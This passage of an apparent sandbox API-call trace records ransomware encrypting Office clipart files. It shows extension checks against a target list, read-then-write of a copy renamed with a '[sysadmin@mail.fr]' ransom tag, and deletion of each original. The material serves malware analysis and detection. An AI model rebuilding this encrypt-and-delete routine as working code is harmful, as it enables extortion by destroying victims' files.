	[0158.829] lstrlenW (lpString=".rar") returned 4
	[0158.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.829] lstrlenW (lpString=".bz2") returned 4
	[0158.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.829] lstrlenW (lpString=".7z") returned 3
	[0158.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.829] lstrlenW (lpString=".dbf") returned 4
	[0158.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.829] lstrlenW (lpString=".1cd") returned 4
	[0158.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099177.WMF") returned 68
	[0158.829] lstrlenW (lpString=".jpg") returned 4
	[0158.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0158.836] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=9154) returned 1
	[0158.836] CloseHandle (hObject=0x55c) returned 1
	[0158.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 0x220
	[0158.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0158.837] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0158.837] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.840] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac
	[0158.842] GetLastError () returned 0x0
	[0158.842] ReadFile (in: hFile=0x55c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x23c2, lpOverlapped=0x0) returned 1
	[0158.858] WriteFile (in: hFile=0x4ac, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x23d0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x23d0, lpOverlapped=0x0) returned 1
	[0158.859] ReadFile (in: hFile=0x55c, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0158.859] WriteFile (in: hFile=0x4ac, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0158.859] SetEndOfFile (hFile=0x4ac) returned 1
	[0158.860] CloseHandle (hObject=0x4ac) returned 1
	[0158.860] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0158.860] SetEndOfFile (hFile=0x55c) returned 1
	[0158.863] CloseHandle (hObject=0x55c) returned 1
	[0158.863] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0158.864] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099179.wmf")) returned 1
	[0158.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0158.865] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0158.865] lstrlenW (lpString=".doc") returned 4
	[0158.865] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0158.865] lstrlenW (lpString=".docx") returned 5
	[0158.865] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1
	[0158.865] lstrlenW (lpString=".pdf") returned 4
	[0158.865] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0158.866] lstrlenW (lpString=".xls") returned 4
	[0158.866] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0158.866] lstrlenW (lpString=".xlsx") returned 5
	[0158.866] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1
	[0158.866] lstrlenW (lpString=".ppt") returned 4
	[0158.866] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0158.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0158.866] lstrlenW (lpString=".zip") returned 4
	[0158.866] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0158.866] lstrlenW (lpString=".rar") returned 4
	[0158.866] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0158.866] lstrlenW (lpString=".bz2") returned 4
	[0158.866] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0158.866] lstrlenW (lpString=".7z") returned 3
	[0158.866] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0158.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0158.866] lstrlenW (lpString=".dbf") returned 4
	[0158.866] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0158.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0158.866] lstrlenW (lpString=".1cd") returned 4
	[0158.866] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0158.866] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099179.WMF") returned 68
	[0158.866] lstrlenW (lpString=".jpg") returned 4
	[0158.866] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0158.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0158.868] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=3394) returned 1
	[0158.868] CloseHandle (hObject=0x55c) returned 1
	[0158.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 0x220
	[0158.868] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0159.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0160.240] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.240] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.240] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0160.927] GetLastError () returned 0x0
	[0160.927] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0xd42, lpOverlapped=0x0) returned 1
	[0160.945] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xd50, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xd50, lpOverlapped=0x0) returned 1
	[0160.946] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0160.946] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0160.946] SetEndOfFile (hFile=0x548) returned 1
	[0160.946] CloseHandle (hObject=0x548) returned 1
	[0160.946] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.946] SetEndOfFile (hFile=0x4b0) returned 1
	[0160.951] CloseHandle (hObject=0x4b0) returned 1
	[0160.951] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0160.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099180.wmf")) returned 1
	[0160.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0160.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0160.953] lstrlenW (lpString=".doc") returned 4
	[0160.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0160.953] lstrlenW (lpString=".docx") returned 5
	[0160.953] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0160.953] lstrlenW (lpString=".pdf") returned 4
	[0160.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0160.953] lstrlenW (lpString=".xls") returned 4
	[0160.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0160.953] lstrlenW (lpString=".xlsx") returned 5
	[0160.953] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0160.953] lstrlenW (lpString=".ppt") returned 4
	[0160.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0160.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0160.953] lstrlenW (lpString=".zip") returned 4
	[0160.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0160.953] lstrlenW (lpString=".rar") returned 4
	[0160.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0160.953] lstrlenW (lpString=".bz2") returned 4
	[0160.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0160.953] lstrlenW (lpString=".7z") returned 3
	[0160.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0160.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0160.954] lstrlenW (lpString=".dbf") returned 4
	[0160.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0160.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0160.954] lstrlenW (lpString=".1cd") returned 4
	[0160.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0160.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099180.WMF") returned 68
	[0160.954] lstrlenW (lpString=".jpg") returned 4
	[0160.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0160.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0160.955] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=17964) returned 1
	[0160.955] CloseHandle (hObject=0x4b0) returned 1
	[0160.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220
	[0160.955] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0160.956] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0160.956] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.956] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0160.958] GetLastError () returned 0x0
	[0160.958] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x462c, lpOverlapped=0x0) returned 1
	[0160.960] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x4630, lpOverlapped=0x0) returned 1
	[0160.962] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0160.962] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0160.962] SetEndOfFile (hFile=0x548) returned 1
	[0160.962] CloseHandle (hObject=0x548) returned 1
	[0160.962] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.962] SetEndOfFile (hFile=0x4b0) returned 1
	[0160.966] CloseHandle (hObject=0x4b0) returned 1
	[0160.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0160.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1
	[0160.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.968] lstrlenW (lpString=".doc") returned 4
	[0160.968] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0160.968] lstrlenW (lpString=".docx") returned 5
	[0160.968] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0160.968] lstrlenW (lpString=".pdf") returned 4
	[0160.968] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0160.968] lstrlenW (lpString=".xls") returned 4
	[0160.968] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0160.968] lstrlenW (lpString=".xlsx") returned 5
	[0160.968] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0160.968] lstrlenW (lpString=".ppt") returned 4
	[0160.968] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0160.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.968] lstrlenW (lpString=".zip") returned 4
	[0160.969] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0160.969] lstrlenW (lpString=".rar") returned 4
	[0160.969] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0160.969] lstrlenW (lpString=".bz2") returned 4
	[0160.969] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0160.969] lstrlenW (lpString=".7z") returned 3
	[0160.969] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0160.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.969] lstrlenW (lpString=".dbf") returned 4
	[0160.969] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0160.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.969] lstrlenW (lpString=".1cd") returned 4
	[0160.969] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0160.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0160.969] lstrlenW (lpString=".jpg") returned 4
	[0160.969] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0160.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0160.971] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x2abff14 | out: lpFileSize=0x2abff14*=35546) returned 1
	[0160.971] CloseHandle (hObject=0x4b0) returned 1
	[0160.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220
	[0160.972] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0160.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0
	[0160.973] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.973] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0160.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0160.974] GetLastError () returned 0x0
	[0160.974] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x8ada, lpOverlapped=0x0) returned 1
	[0161.150] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0x8ae0, lpOverlapped=0x0) returned 1
	[0161.152] ReadFile (in: hFile=0x4b0, lpBuffer=0x3645020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2abfecc, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesRead=0x2abfecc*=0x0, lpOverlapped=0x0) returned 1
	[0161.152] WriteFile (in: hFile=0x548, lpBuffer=0x3645020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2abfc94, lpOverlapped=0x0 | out: lpBuffer=0x3645020*, lpNumberOfBytesWritten=0x2abfc94*=0xec, lpOverlapped=0x0) returned 1
	[0161.153] SetEndOfFile (hFile=0x548) returned 1
	[0161.153] CloseHandle (hObject=0x548) returned 1
	[0161.153] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2abfec0 | out: lpNewFilePointer=0x0) returned 1
	[0161.153] SetEndOfFile (hFile=0x4b0) returned 1
	[0161.158] CloseHandle (hObject=0x4b0) returned 1
	[0161.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0161.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1
	[0161.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.160] lstrlenW (lpString=".doc") returned 4
	[0161.160] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0161.160] lstrlenW (lpString=".docx") returned 5
	[0161.160] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0161.160] lstrlenW (lpString=".pdf") returned 4
	[0161.160] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0161.160] lstrlenW (lpString=".xls") returned 4
	[0161.160] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0161.160] lstrlenW (lpString=".xlsx") returned 5
	[0161.160] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0161.160] lstrlenW (lpString=".ppt") returned 4
	[0161.160] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0161.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.161] lstrlenW (lpString=".zip") returned 4
	[0161.161] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0161.161] lstrlenW (lpString=".rar") returned 4
	[0161.161] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0161.161] lstrlenW (lpString=".bz2") returned 4
	[0161.161] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0161.161] lstrlenW (lpString=".7z") returned 3
	[0161.161] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0161.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.161] lstrlenW (lpString=".dbf") returned 4
	[0161.161] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0161.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.161] lstrlenW (lpString=".1cd") returned 4
	[0161.161] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0161.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68
	[0161.161] lstrlenW (lpString=".jpg") returned 4
